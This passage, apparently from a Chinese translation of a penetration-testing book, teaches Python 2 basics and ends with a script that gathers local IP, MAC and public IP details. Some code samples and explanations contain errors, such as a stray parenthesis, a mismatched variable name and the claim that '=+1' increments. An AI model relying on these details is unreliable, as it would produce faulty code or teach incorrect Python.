elif | if 语句的后续评估,允许超过两种不同的结果 |
import | 导入库的方式 |
print | 输出数据到 标准输出 (STDOUT) 的语句 |
try | 条件处理程序测试 |
如果你想确认一个名称是否是关键字,可以启动交互式解释器,并将一个变量设置为特定的关键字名称。然后,通过关键字的函数运行它。如果返回 true
,那么你就知道它是一个关键字;如果返回 false
,你就知道它不是。参考以下截图更好地理解这个概念:
全局和局部变量
全局变量是在函数外定义的,局部变量是在特定函数内定义的。这很重要,因为如果在函数内重复使用名称,其值通常只会在该函数内保留。如果你希望改变全局变量的值,你可以使用 global 关键字调用全局版本并设置一个新值。如果可能的话,应该避免这样做。关于局部和全局变量的使用示例,请参见以下代码:
#!/usr/bin/env python
hacker = "me"
def local_variable_example():
hacker = "you"
print("The local variable is %s") % (hacker)
local_variable_example()
print("The global variable is %s") % (hacker)
这个脚本的输出显示了在local_variable_example
函数示例中打印局部变量hacker
,然后在函数执行后打印全局变量hacker
。
注意
前面的例子展示了如何通过变量将值插入到字符串中。在本章的后面,将提供几种方法来实现这一点。
理解命名空间
Python 中变量的基本概念是一个名称;这些名称驻留在一个桶中。每个模块或脚本都有自己的全局命名空间,这些名称驻留在这个桶中,这个桶被称为命名空间。这意味着当一个名称被使用时,它是为特定目的而保留的。如果你再次使用它,会导致两种情况之一:要么你会覆盖这个值,要么你会看到一个错误。
模块和导入
在 Python 中,可以导入库或模块来执行特定任务或补充功能。当你编写自己的脚本时,你可以将一个脚本作为模块导入到一个新的脚本中使用。有几种方法可以做到这一点,每种方法都有其优点和缺点:
import module
这允许你导入一个模块并使用它和函数,通过引用它们类似于一个函数。例如,你可以引用模块和模块内的函数为module.function()
。这意味着你的命名空间保持简单,你不必担心覆盖和冲突,不像以下方法:
from module import *
这在 Python 脚本和互联网上的示例中非常常见。危险在于所有函数或模块内的函数都直接引入。这意味着如果你在脚本中定义了一个名为hacker_tool
的函数,而hacker_tool
(被导入的模块包含同名的模块),你可能会遇到命名空间冲突并产生多个错误。在运行时,当脚本被解释时,它将占用更多的内存空间,因为不必要的函数被导入。然而,好处是你不必识别必要的函数,也不必使用module.function()
的方法。相反,你可以直接调用function()
。
接下来的两种方法是引用模块或函数为不同的名称。这允许你缩短需要重用的语句,并且通常可以提高可读性。相同的命名空间冲突存在,因此你的导入和引用应该谨慎定义。第一种是将模块声明为不同的名称:
import module as a
第二种是将函数声明为不同的名称:
from module import function as a
还有其他执行这些任务的方法,但这已经足够阅读大部分生成的脚本并创建有用的工具了。
提示
你知道 Python 模块本身就是脚本吗?你可以通过查看 Windows Python 安装中的Lib
目录来了解这些产品的工作方式,默认情况下为C:\Python27\Lib
对于 Python 2.7. 在 Kali Linux 中,它可以在/usr/lib/python2.7
找到。
Python 格式化
这种语言对我来说最大的卖点是它的格式。将脚本放在一起需要很少的工作,由于其简单的格式要求,您减少了出错的机会。对于有经验的程序员来说,可恶的;
和{}
符号不再会因为语法错误而影响您的开发时间。
缩进
在 Python 中最重要的是缩进。Python 使用缩进来显示逻辑块的更改位置。因此,如果您正在编写一个简单的print
脚本,就像前面提到的那样,您不一定会看到这一点,但是如果您正在编写一个if
语句,您会看到。请参见以下示例,它打印了先前在此处提到的语句:
#!/usr/bin/env python
execute=True
if execute != False:
print("Do you want to play a game?\n")
有关此脚本的操作和执行的更多详细信息可以在本章的复合语句部分找到。以下示例在执行不是False
时将语句打印到屏幕上。这个缩进表示该函数将其与全局代码分开。
有两种创建缩进的方法:通过空格或制表符。四个空格相当于一个制表符;前面代码中的缩进表示代码逻辑与全局代码的分离。这样做的原因是,当从一个系统类型移动到另一个系统时,空格的转换效果更好,这样可以使您的代码更具可移植性。
Python 变量
Python 脚本语言有五种变量类型:数字、字符串、列表、字典和元组。这些变量具有不同的预期目的、使用原因和声明方法。在了解这些变量类型的工作方式之前,您需要了解如何调试变量并确保您的脚本正常工作。
注意
列表、元组和字典属于一个名为数据结构的变量类别。本章涵盖了足够的细节来让您起步并运行,但是您在帮助论坛中注意到的关于 Python 的大部分问题都与数据结构的正确使用和处理有关。在您开始在本书中给出的细节之外进行自己的项目时,请记住这一点。有关数据结构及其使用方法的更多信息可以在docs.python.org/2/tutorial/datastructures.html
找到。
调试变量值
调试变量值的简单解决方案是确保预期的数据传递给变量。如果需要将变量中的值从一种类型转换为另一种类型,这一点尤为重要,这将在本章后面进行介绍。因此,您需要知道变量中的值,通常还需要知道它的类型。这意味着您将不得不在构建脚本时调试它们;这通常是通过使用print
语句来完成的。您经常会看到初始脚本中散布着print
语句。为了帮助您在以后的某个时间点清理它们,我建议给它们添加注释。我通常使用一个简单的#DEBUG
注释,如下所示:
print(variable_name) #DEBUG
这将允许您快速搜索并删除#DEBUG
行。在 vi 或 vim 中,这非常简单——首先按下Esc,然后按下*😗,然后执行以下命令,搜索并删除整行:
g/.*DEBUG/d
如果您想暂时注释掉所有#DEBUG
行并稍后删除它们,可以使用以下方法:
%s/.*DEBUG/#&
字符串变量
保存字符串的变量基本上是放置在引用中的单词、语句或句子。这个项目允许在脚本中需要时轻松重用值。此外,这些变量可以被操纵以在脚本的过程中产生不同的值。要将值传递给变量,需要在选择单词后使用等号来分配一个值。在字符串中,值要么用单引号括起来,要么用双引号括起来。以下示例显示了如何使用双引号分配一个值:
variable_name = "This is the sentence passed"
以下示例显示了单引号分配给一个变量:
variable_name = 'This is the sentence passed'
允许使用单引号和双引号的原因是为了让程序员能够将其中一个插入变量作为句子的一部分。请参考以下示例以突出显示差异:
variable_name = 'This is the "sentence" passed'
除了通过此方法传递字符串或打印值,您还可以使用相同类型的引号来转义特殊字符。这是通过在任何特殊字符之前加上\
符号来完成的,这有效地转义了特殊功能。以下示例突出了这一点:
variable_name = "This is the \"sentence\" passed"
声明字符串的重要事项是选择一种引号类型——单引号或双引号——并在脚本中一致使用。此外,正如您在 Python 中所看到的,变量大小不必在初始时声明。这是因为它们在运行时被解释。现在您知道如何创建包含字符串的变量了。下一步是创建包含数字的变量。
数字变量
创建保存数字的变量非常简单。您定义一个变量名,然后通过在等号的右侧放置一个数字来为它赋值,如下所示:
variable_name = 5
一旦变量被定义,它就保存了它传递的值的引用。这些变量可以被覆盖,可以对它们执行数学运算,并且甚至可以在程序运行中更改。以下示例显示了相同类型的变量被相加并打印出来。首先,我们展示了相同的变量相加并打印,然后我们展示了两个不同的变量。最后,这两个变量被相加,分配给一个新变量,并打印出来。
请注意,传递给变量的数值没有引号。如果有引号,Python 解释器会将它们视为字符串,结果会有显著不同。请参考以下截图,显示了将相同的方法应用于具有字符串等效的数字变量:
如您所见,这些值不是相加在一起,而是合并成一个字符串。Python 具有内置函数,允许我们将字符串解释为数字,将数字解释为字符串。此外,您可以使用type
函数确定变量的类型。这个截图显示了两个变量的声明,一个是字符串,一个是整数:
如果变量中包含小数值,它将被声明为浮点数或简称为float
。这仍然是一个数值变量,但它需要不同的存储方法,正如您所看到的,解释器已经为您确定了这一点。以下截图显示了一个例子:
转换字符串和数字变量
如数字变量部分所述,Python 具有内置函数,允许您将一个变量类型转换为另一个变量类型。作为一个简单的例子,我们将把一个数字转换为一个字符串,将一个字符串转换为一个数字。在使用交互式解释器时,如果变量值没有传递给新变量,它将立即打印出来;但是,在脚本中,它不会。如果数据通过命令行界面(CLI)传递,并且您想确保数据的处理方法,这种操作方法非常有用。
这是使用以下三个函数执行的:int()
、str()
和float()
。这些函数确切地做了你认为它们会做的事情;int()
将其他类型的适用变量更改为整数,str()
将其他适用变量类型转换为字符串,float()
将适用变量转换为浮点数。重要的是要记住,如果变量无法转换为所需的类型,您将收到一个ValueError
异常,如此截图所示:
举个例子,让我们拿一个字符串和一个整数并尝试将它们加在一起。如果这两个值不是相同类型,你将会收到一个TypeError
异常。这在以下屏幕截图中得到了证明:
这就是你必须确定变量的类型并选择其中一个转换为相同类型的地方。你选择转换哪一个将取决于预期的结果。如果你想要一个包含两个数字总值的变量,那么你需要将字符串变量转换为数字类型变量。如果你想要将值组合在一起,那么你将把非字符串变量转换为字符串。这个例子展示了两个值的定义:一个是字符串,一个是整数。字符串将被转换为整数以允许数学运算继续进行,如下所示:
现在你可以看到这是多么容易,考虑一下如果一个字符串变量代表一个float
值并被转换为整数会发生什么。数字的小数部分将会丢失。这不会将值四舍五入;它只是去掉小数部分并给出一个整数。请参考以下屏幕截图以了解这个例子:
所以一定要将数字变量更改为适当的类型。否则,一些数据将会丢失。
列表变量
列表是一种数据结构,以一种可以组织、调整和轻松操作的方式保存值。在 Python 中识别列表的简单方法是通过[]
,它表示值将驻留的位置。对这些列表的操作是基于通常通过位置调整值。要创建一个列表,定义一个变量名,并在等号的右侧放置用逗号分隔的值的括号。这个简单的脚本计算预定义列表的长度,并迭代并打印列表的位置和值。重要的是要记住,列表从位置 0 开始,而不是 1。由于列表可以包含不同类型的变量以包含其他列表,我们将打印值作为字符串以确保安全:
#!/usr/bin/env python
list_example = [100,222,333,444,"string value"]
list_example_length = len(list_example)
for iteration in list_example:
index_value = list_example.index(iteration)
print("The length of list list_example is %s, the value at position %s is %s") % (str(list_example_length), str(index_value), str(iteration).strip('[]'))
print("Script finished")
以下屏幕截图显示了此脚本的成功执行:
正如你所看到的,从列表中提取值并将它们转换为数字或字符串值是重要的概念。列表用于保存多个值,并提取这些值以便它们可以被表示通常是必要的。以下代码向你展示了如何对字符串执行此操作:
#!/usr/bin/env python
list_example = [100,222,333,444]
list_value = list_example[2]
string_value_from_list = str(list_value)
print("String value from list: %s") % (str(list_value))
重要的是要注意,列表不能被打印为整数,所以它必须要么转换为字符串,要么通过迭代打印。为了只显示简单的差异,以下代码演示了如何从列表中提取一个整数值并打印它和一个字符串:
#!/usr/bin/env python
list_example = [100,222,333,444]
list_value = list_example[2]
int_value_from_list = int(list_value))
print("String value from list: %s") % (str(list_value))
print("Integer value from list: %d") % (int_value_from_list)
列表值可以进一步使用特定于列表的函数进行操作。您只需调用列表的名称,然后在列表中添加.function(x)
,其中function
是您想要完成的特定活动的名称,x
是您想要操作的位置或数据。一些常用的函数包括向列表末尾添加值,例如数字 555,可以这样完成:list_example.append(555)
。您甚至可以合并列表;这是使用extend
函数完成的,它将相关项目添加到列表的末尾。通过执行以下函数来完成:list_example.extend(list_example2)
。如果要删除值 555,只需执行list_example.remove(555)
。可以使用名为insert
的适当命名的函数在特定位置插入值,如此:list_example.insert(0, 555)
。这里将描述的最后一个函数是pop
函数,它允许您通过传递位置值来删除特定位置的值,或者通过指定没有值来删除列表中的最后一个条目。
元组变量
元组类似于列表,但与列表不同的是,它们使用()
进行定义。此外,它们是不可变的;也就是说,它们不能被更改。这样做的动机是为了在复杂操作中控制数据的方式,以便在过程中不破坏它。元组可以被删除,并且可以创建一个新的元组来保存不同元组数据的部分,并显示数据已更改的样子。元组的简单规则如下:如果要保持数据不变,请使用元组;否则,请使用列表。
字典变量
字典是将键与值关联起来的一种方式。如果看到花括号,这意味着您正在查看一个字典。键表示对存储在无序数据结构中的特定值的引用。您可能会问自己为什么要这样做,当标准变量已经做了类似的事情。字典为您提供了存储其他变量和变量类型作为值的手段。它们还允许根据需要快速轻松地引用。您将在后面的章节中看到字典的详细示例;现在,请查看以下示例:
#!/usr/bin/env python
dictionary_example = {'james':123,'jack':456}
print(dictionary_example['james'])
此示例将打印与'james'
键相关的数字,如下图所示:
向字典中添加数据非常简单;您只需为字典分配一个新的键和一个该键的值。例如,要将值789
添加到'john'
键,您可以执行以下操作:dictionary_example['john'] = 789
。这将为字典分配新的值和键。关于字典的更多细节将在后面介绍,但这已足以理解它们。
理解默认值和构造函数
以前编程或脚本编写过的人可能习惯于声明具有默认值的变量或设置构造函数。
在 Python 中,这并不是必须的,但在使用变量之前设置默认值是一个好习惯。除了是一个良好的实践外,它还可以减轻脚本出现意外错误和崩溃的一些原因。这也将增加可追溯性,如果将意外值传递给变量。
提示
在 Python 中,当实例化新对象时,构造方法由__init__
和__new__
处理。然而,当创建新类时,只需要使用__init__
函数作为类的构造函数。这将在很久以后才需要,但请记住;如果您想开发多线程应用程序,这很重要。
将变量传递给字符串
假设你想要生成一个带有动态值的字符串,或者在打印字符串时包含一个变量并实时解释值。使用 Python,你可以用多种方式做到。你可以使用算术符号,比如+
,来组合数据,或者使用特殊的字符组合来插入值。
第一个例子将使用两个字符串和一个变量的组合与语句一起创建一个动态语句,如下所示:
#!/usr/bin/env python
name = "Hacker"
print("My profession is "+name+", what is yours?")
这将产生以下输出:
创建第一个脚本后,可以通过直接将值插入字符串来改进它。这是通过使用%
特殊字符并附加s
用于字符串或d
用于数字来实现的。然后在print
语句后附加%
符号,并在所需的变量或变量周围包装参数。这样可以快速轻松地控制数据,并在原型设计或创建脚本时清理细节。
参数中的变量被传递以替换语句中的键入符号。以下是这种类型脚本的一个例子:
#!/usr/bin/env python
name = "Hacker"
print("My profession is %s, what is yours?") % (name)
下图显示了代码的执行:
另一个好处是,你可以在不大幅改变脚本的情况下插入多个值,就像下面的例子所示:
#!/usr/bin/env python
name = "Hacker"
name2 = "Penetration Tester"
print("My profession is %s, what is yours? %s") % (name, name2)
可以像前面提到的那样使用数字进行插入,并将%s
更改为%d
:
#!/usr/bin/env python
name = "Hacker"
name2 = "Penetration Tester"
years = 15
print("My profession is %s, what is yours? %s, with %d years experience!") % (name, name2, years)
输出可以在这个截图中看到:
可以直接传递语句,而不是使用变量。通常没有这样做的理由,因为变量提供了一种改变代码并将其应用于整个脚本的方法。在可能的情况下,应该使用变量来定义必要的语句。当你开始编写将传递给系统的语句时,这一点非常重要。使用组合的变量来创建将在 Python 脚本中执行的命令。如果这样做,你可以通过简单更改特定值来改变提供给系统的内容。稍后将介绍更多关于这方面的例子。
运算符
Python 中的运算符是代表功能执行的符号。
注意
关于这方面的更多细节可以在docs.python.org/2/library/operator.html
找到。
重要的是要记住,Python 具有广泛的功能,允许进行复杂的数学和比较操作。这里只涵盖了其中的一部分,以便为更详细的工作做好准备。
比较运算符
比较运算符根据评估方法检查条件是否为真或假。简单来说,我们试图确定一个值是否等于、不等于、大于、小于、大于等于或小于等于另一个值。有趣的是,Python 的比较运算符非常直接。
下表将帮助定义运算符的细节:
比较测试 | 运算符 |
---|---|
两个值是否相等? | == |
值是否不相等? | != |
左边的值是否大于右边的值? | > |
左边的值是否小于右边的值? | < |
左边的值是否大于或等于右边的值? | >= |
左边的值是否小于或等于右边的值? | <= |
赋值运算符
当人们从其他语言过渡时,赋值运算符会让大多数人感到困惑。原因在于 AND 赋值运算符与大多数语言不同。习惯于在其他语言中使用variable++
格式的增量器简写的人,往往会困惑地发现在 Python 中并没有进行完全相同的操作。
在 Python 中,变量增量器的功能等效于variable=+1
,这与variable = variable + 1
是一样的。然而,你可能会注意到这里的一点;你可以在这个表达式中定义要添加到变量中的内容。因此,与双加号表示“将 1 添加到这个变量”不同,AND 表达式允许你向其中添加任何你想要的东西。
当你编写漏洞利用时,这很重要,因为你可以使用这个运算符将多个十六进制值附加到同一个字符串上,就像前面的字符串连接示例中所示,其中两个字符串被相加在一起。第八章,使用 Python、Metasploit 和 Immunity 进行漏洞开发,将在开发远程代码执行(RCE)漏洞时涵盖更多内容。在那之前,考虑一下这个表格,看看不同的赋值运算符及其用途:
赋值操作 | 运算符 |
---|---|
将一个值设置为某物 | = |
添加一个值到左边的变量,并将新值设置为左边的同一个变量 | += |
从左边的变量中减去一个值,并将新值设置为左边的同一个变量 | -= |
乘以左边的变量的值,并将新值设置为左边的同一个变量 | *= |
除以左边的变量的值,并将新值设置为左边的同一个变量 | /= |
算术运算符
算术运算符总体上非常简单,就像你所期望的那样。加法运算使用+
符号,减法运算使用-
,乘法运算使用*
,除法运算使用/
。还有其他可以使用的项目,但这四个涵盖了你将要看到的大多数情况。
逻辑和成员运算符
逻辑和成员运算符使用单词而不是符号。一般来说,Python 中最令人困惑的运算符是成员运算符,因为新的脚本编写者会把它们当作逻辑运算符。所以让我们来看看逻辑运算符到底是什么。
逻辑运算符帮助语句或复合语句确定是否满足多个条件,从而证明“真”或“假”条件。那么这在通俗的术语中是什么意思呢?看看下面的脚本,它有助于确定两个变量是否包含所需的值以继续执行:
#!/usr/bin/env python
a = 10
b = 5
if a == 10 and b == 5:
print("The condition has been met")
else:
print("the condition has not been met")
逻辑运算符包括and
、or
和not
,可以与更复杂的语句结合使用。这里的not
运算符可能会与成员运算符中的not in
混淆。not
测试会反转组合条件测试。以下示例特别突出了这一点;如果两个值都为False
或不相等,则条件满足;否则,测试失败。原因在于测试检查它是否都是。类似于这样的示例确实会出现,但并不常见,如果你对逻辑流程还不感到舒适,可以避免使用这种类型的代码:
#!/usr/bin/env python
a = False
b = False
if not(a and b):
print("The condition has been met")
else:
print("The condition has not been met")
成员运算符则测试变量是否为其一部分的值。这两种类型的运算符是in
和not in
。以下是它们的使用示例:
#!/usr/bin/env python
variable = "X-Team"
if "Team" in variable:
print("The value of Team is in the variable")
else:
print("The value of Team is not in the variable")
这段代码的逻辑将导致语句返回为True
,并且第一个条件消息将被打印到屏幕上。
复合语句
复合语句包含其他语句。这意味着测试或执行true
或false
时,会执行其中的语句。关键是编写语句,使其既高效又有效。这包括if then
语句、循环和异常处理的示例。
if 语句
if
语句测试特定条件,如果满足(或不满足)条件,则执行语句。if
语句可以包括一个简单的检查,以查看变量是true
还是false
,然后打印详细信息,如下例所示:
x = 1
if x == 1:
print("The variable x has a value of 1")
if
语句甚至可以用于同时检查多个条件。请记住,它将执行满足条件的复合语句的第一部分并跳过其余部分。以下是一个建立在前一个示例基础上的示例,使用else
和elif
语句。else语句是一个捕获所有的语句,如果没有满足if
或elif
语句,则执行。elif
测试是一个后续的if
测试。它的条件可以在if
之后和else
之前进行测试。请参考以下示例以更好地理解:
#!/usr/bin/env python
x=1
if x == 3:
print("The variable x has a value of 3")
elif x == 2:
print("The variable x has a value of 2")
elif x == 1:
print("The variable x has a value of 1")
else:
print("The variable x does not have a value of 1, 2, or 3")
从这些语句中可以看出,第二个elif
语句将处理结果。将x
的值更改为其他值,然后查看脚本流程是如何工作的。
请记住一件事:测试条件需要仔细思考测试结果。以下是一个if
测试的示例,根据变量值可能不会提供预期结果:
#!/usr/bin/env python
execute=True
if execute != False:
print("Do you want to play a game?\n")
这个脚本将execute
变量设置为True
。然后,if
是带有print
语句的脚本。如果变量既没有被设置为True
也没有被设置为False
,语句仍然会被打印。原因是我们只是测试execute
变量不等于False
。只有当execute
被设置为False
时,才不会打印任何内容。
Python 循环
循环是一种语句,它一遍又一遍地执行,直到条件满足或不满足为止。如果在另一个循环中创建了一个循环,则称为嵌套循环。在渗透测试中,通常不认为在彼此之间有多个循环是最佳实践。这是因为如果它们没有得到适当控制,它可能会导致内存耗尽的情况。循环有两种主要形式:while
循环和for
循环。
while 循环
while
循环在情况为真或假且您希望测试在条件有效时执行时非常有用。例如,此while
循环检查x
的值是否大于0
,如果是,则循环将继续处理数据:
x=5
while x > 0:
print("Your current count is: %d") % (x)
x -= 1
for 循环
for
循环的执行是基于已经建立的情况并对其进行测试的想法。举个简单的例子,您可以创建一个脚本,逐个计算 1 到 15 之间的一系列数字,然后打印结果。以下是一个for
循环语句的示例:
for iteration in range(1,15,1):
print("Your current count is: %d") % (iteration)
中断条件
break
条件用于退出循环并从下一个语句继续处理脚本。当循环内发生特定情况而不是循环的下一个迭代时,使用break
来控制循环。尽管break
可以用于控制循环,但您应该考虑以这样的方式编写代码,以便您不需要break
。以下带有break
条件的循环将在变量值等于5
时停止执行:
#!/usr/bin/
numeric = 15
while numeric > 0:
print("Your current count is: %d") %(numeric)
numeric -= 1
if numeric == 5:
break
print("Your count is finished!")
此脚本的输出如下:
尽管这样可以工作,但可以通过更好设计的脚本实现相同的结果,如下面的代码所示:
#!/usr/bin/env python
numeric = 15
for iteration in range(numeric,5,-1):
print("Your current count is: %d") % (iteration)
print("Your count is finished!")
如您所见,使用更干净和更易管理的代码产生了相同的结果:
条件处理程序
Python,像许多其他语言一样,具有处理异常或相对意外情况发生的能力。在这种情况下,会发生捕获并捕获错误和后续活动的情况。这是通过try
和except
子句完成的,它们处理条件。例如,我经常使用条件处理程序来确定是否安装了必要的库,如果没有安装,它会告诉您如何在哪里获取它。这是一个简单但有效的例子:
try:
import docx
from docx.shared import Inches
except:
sys.exit("[!] Install the docx writer library as root or through sudo: pip install python-docx")
函数
Python 函数允许脚本作者创建可重复的任务,并在整个脚本中频繁调用它。当函数是类或模块的一部分时,这意味着可以从另一个脚本,也称为模块,中专门调用脚本的某个部分,一旦导入就执行任务。使用 Python 函数的另一个好处是减少脚本大小。一个经常意想不到的好处是能够从一个脚本复制函数到另一个脚本,加快开发速度。
动态类型语言对函数的影响
请记住,变量保存对对象的引用,因此在编写脚本时,您正在使用引用值执行测试。关于这一点的一个事实是变量可以更改,仍然可以指向原始值。当变量通过参数传递给函数时,它作为原始对象的别名进行。因此,当您编写函数时,函数内的变量名称通常会有所不同——而且应该有所不同。这可以更容易地进行故障排除,使脚本更清洁,并且更准确地控制错误。
花括号
如果您曾经在另一种语言中编写过,会让您感到惊讶的是没有像这样的花括号{}
。这通常是为了界定逻辑测试或复合语句的代码停止和开始的地方,比如循环,if
语句,函数,甚至整个类。相反,Python 使用前面提到的缩进方法,缩进越深,语句嵌套越多。
注意
嵌套语句或函数意味着在逻辑测试或复合语句中,正在执行另一个额外的逻辑测试。一个例子是在另一个if
语句中的if
语句。这种类型的更多示例将在本章后面看到。
为了看到 Python 和其他语言中逻辑测试之间的差异,将展示 Perl 函数的一个示例,称为子例程。还将演示等效的 Python 函数,以展示差异。这将突出显示 Python 如何在整个脚本中控制逻辑流。随时尝试这两个脚本,看看它们是如何工作的。
注意
由于包含了return
语句,以下 Python 脚本比 Perl 脚本稍长。这对于此脚本并非必需,但许多脚本作者会养成这个习惯。此外,print
语句已经修改,如您所见,以支持 Python 的 2.X 版本和 3.X 版本。
这是Perl
函数的一个例子:
#!/usr/bin/env perl
# Function in Perl
sub wargames{
print "Do you want to play a game?\n";
print "In Perl\n";
}
# Function call
wargames();
以下函数是 Python 中的等效函数:
#!/usr/bin/env python
# Function in Python
def wargames():
print("Do you want to play a game?")
print("In Python")
return
# Function call
wargames()
这两个脚本的输出可以在这个截图中看到:
相反,在 Python 中,花括号用于字典,如本章的Python 变量部分中先前描述的。
如何注释您的代码
在脚本语言中,注释对于阻止代码和/或描述其试图实现的内容非常有用。Python 中有两种类型的注释:单行和多行。单行注释使#
符号到行尾的所有内容都成为注释;它不会被解释。如果您在行上放置代码,然后在行尾跟上注释,代码仍将被处理。以下是有效的单行注释用法的示例:
#!/usr/bin/env python
#Author: Chris Duffy
#Date: 2015
x = 5 #This defines the value of the x followed by a comment
这样做也可以,但使用多行注释可能更容易,因为在前面的代码中有两行是注释。多行注释是通过在开始和结束注释块的每一行放置三个引号来创建的。以下代码展示了这种情况的一个例子:
"""
Author: Chris Duffy
Date: 2015
"""
Python 风格指南
在编写脚本时,有一些命名约定是常见的,适用于脚本和编程。这些约定更多是指导方针和最佳实践,而不是硬性规定,这意味着你会听到双方的意见。由于脚本是一种艺术形式,你会看到一些反驳这些建议的例子,但遵循它们会提高可读性。
注意
这里的大部分建议都是从 Python 的风格指南中借鉴而来的,可以在legacy.python.org/dev/peps/pep-0008/
找到,并且有后续的风格指南。
如果你在这里看到了与本指南不直接匹配的具体内容,请记住,所有的评估者都会养成不同的习惯和风格。关键是尽可能地融入尽可能多的最佳实践,同时不影响开发的速度和质量。
类
类通常以大写字母开头,第一个单词的其余部分是小写的。之后的每个单词也以大写字母开头。因此,如果你看到一个定义的引用被使用,并且以大写字母开头,那么它很可能是一个类或模块名。在定义类时,单词之间不应该使用空格或下划线,尽管人们通常会忘记或打破这个规则。
函数
在开发函数时,记住单词应该是小写的,并用下划线分隔。
变量和实例名称
变量和实例应该是小写的,用下划线分隔单词,如果它们是私有的,必须以两个下划线开头。公共
和私有
变量在主要的编程语言中很常见,但在 Python 中并不是真正必要的。如果你想要在 Python 中模拟私有
变量的功能,你可以用__
开头来定义它为私有。在 Python 中,私有成员的主要好处是防止命名空间冲突。
参数和选项
脚本可以传递参数的多种方式;我们将在未来的章节中更多地涵盖这一点,因为它们适用于特定的脚本。获取参数的最简单方式是在没有选项的情况下传递它们。参数是传递给脚本的值,以赋予它们一些动态能力。
选项是表示对脚本的特定调用的标志,说明将要提供的参数。换句话说,如果你想要获取脚本的帮助或使用说明,通常会传递-h
选项。如果你编写一个既接受 IP 地址又接受 MAC 地址的脚本,你可以配置它使用不同的选项来表示即将提供给它的数据。
编写脚本以接受选项要详细得多,但并不像人们所说的那么难。现在,让我们只看一下基本的参数传递。参数可以通过sys
库和argv
函数本地创建。当参数被传递时,包含它们的列表被创建在sys.argv
中,从位置 0 开始。
提供给argv
的第一个参数是运行的脚本的名称,随后提供的每个参数代表其他的参数值:
#!/usr/bin/env python
import sys
arguments = sys.argv
print("The number of arguments passed was: %s") % (str(len(arguments)))
i=0
for x in arguments:
print("The %d argument is %s") % (i,x)
i+=1
这个脚本的输出产生了以下结果:
你的第一个评估脚本
现在您已经了解了在 Python 中创建脚本的基础知识,让我们创建一个对您实际有用的脚本。在后面的章节中,您需要了解每个接口的本地和公共 IP 地址,主机名,媒体访问控制(MAC)地址和完全限定域名(FQDN)。接下来的脚本演示了如何执行所有这些操作。这里的一些概念可能仍然显得陌生,特别是如何从接口中提取 IP 和 MAC 地址。不要担心这一点;这不是您要编写的脚本。您可以使用这个脚本,但它在这里是为了向您展示,您可以拯救脚本的组件,甚至看似复杂的组件,以开发自己的简单脚本。
注意
此脚本使用一种技术,通过查询基于已在多个 Python 模块和示例中使用的接口的详细信息来提取 Linux/Unix 系统的 IP 地址。这种技术的具体方法可以在许多地方找到,但对这种技术的最好记录参考可以在code.activestate.com/recipes/439094-get-the-ip-address-associated-with-a-network-inter/
找到。
让我们将脚本分解为其组件。这个脚本使用了一些函数,使执行更清晰和可重复。第一个函数称为get_ip
。它接受一个接口名称,然后尝试为该接口识别 IP 地址:
def get_ip(inter):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ip_addr = socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', inter[:15]))[20:24])
return ip_addr
第二个名为get_mac_address
的函数标识特定接口的 MAC 地址:
def get_mac_address(inter):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', inter[:15]))
mac_address = ''.join(['%02x:' % ord(char) for char in info[18:24]])[:-1]
return mac_address
正如您所看到的,这些函数依赖于 socket 库的低级网络接口语言。您的注意力不应该放在理解这个函数的每个细节上,而应该放在信息流、使用的变量类型以及库的集成方式上。原因是您将稍后生成一个需要更少组件并复制获取公共 IP 地址活动的脚本。
第三个函数获取主机的详细信息,并将它们返回给脚本的主要部分。它确定主机是否为 Windows,以便调用正确的函数。该函数接受两个列表,一个用于 Linux/Unix 中典型的以太网接口和无线接口。这些接口通过在这个更大的函数中调用的先前函数进行处理。这允许决策由get_localhost_details
函数处理,然后返回主机的值,这些值将由脚本末尾的print
语句表示:
def get_localhost_details(interfaces_eth, interfaces_wlan):
hostdata = "None"
hostname = "None"
windows_ip = "None"
eth_ip = "None"
wlan_ip = "None"
host_fqdn = "None"
eth_mac = "None"
wlan_mac = "None"
windows_mac = "None"
hostname = socket.gethostbyname(socket.gethostname())
if hostname.startswith("127.") and os.name != "nt":
hostdata = socket.gethostbyaddr(socket.gethostname())
hostname = str(hostdata[1]).strip('[]')
host_fqdn = socket.getfqdn()
for interface in interfaces_eth:
try:
eth_ip = get_ip(interface)
if not "None" in eth_ip:
eth_mac = get_mac_address(interface)
break
except IOError:
pass
for interface in interfaces_wlan:
try:
wlan_ip = get_ip(interface)
if not "None" in wlan_ip:
wlan_mac = get_mac_address(interface)
break
except IOError:
pass
else:
windows_ip = socket.gethostbyname(socket.gethostname())
windows_mac = hex(getnode()).lstrip('0x')
windows_mac = ':'.join(pos1+pos2 for pos1,pos2 in zip(windows_mac[::2],windows_mac[1::2]))
hostdata = socket.gethostbyaddr(socket.gethostname())
hostname = str(hostdata[1]).strip("[]\'")
host_fqdn = socket.getfqdn()
return hostdata, hostname, windows_ip, eth_ip, wlan_ip, host_fqdn, eth_mac, wlan_mac, windows_mac
此脚本中的最后一个函数称为get_public_ip
,它查询已知网站的 IP 地址,并将该 IP 地址以简单的原始格式返回到网页。有许多网站可以执行此操作,但请确保您知道可接受的使用和授权的服务条款。该函数接受一个输入,即您要执行查询的网站:
def get_public_ip(request_target):
grabber = urllib2.build_opener()
grabber.addheaders = [('User-agent','Mozilla/5.0')]
try:
public_ip_address = grabber.open(target_url).read()
except urllib2.HTTPError, error:
print("There was an error trying to get your Public IP: %s") % (error)
except urllib2.URLError, error:
print("There was an error trying to get your Public IP: %s") % (error)
return public_ip_address
对于 Windows 系统,此脚本利用简单的socket.gethostbyname(socket.gethostname())
函数请求。这对 Linux 有效,但它依赖于/etc/hosts
文件具有所有接口的正确信息。正如前面的参考所指出的,这个脚本的大部分可以被netifaces
库替代。这将大大简化脚本,并且其使用示例将在下一章中展示。netifaces
库不是默认安装的,因此您需要在要运行此脚本的每台主机上安装它。由于通常不希望对主机的完整性产生任何影响,因此特定脚本被设计为避免冲突。
提示
这个脚本的最终版本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/hostdetails.py
找到。
以下截图显示了运行此脚本的输出。本脚本的组件将在后续章节中使用,并且它们允许自动化开发利用配置和对网络进行侦察。
因此,您的有用脚本将使用这个脚本的组件,并且只会找到您所在系统的公共 IP 地址。我建议您在查看以下代码(显示实际脚本的样子)之前尝试这样做。如果您想跳过这一步,可以在这里看到解决方案:
import urllib2
def get_public_ip(request_target):
grabber = urllib2.build_opener()
grabber.addheaders = [('User-agent','Mozilla/5.0')]
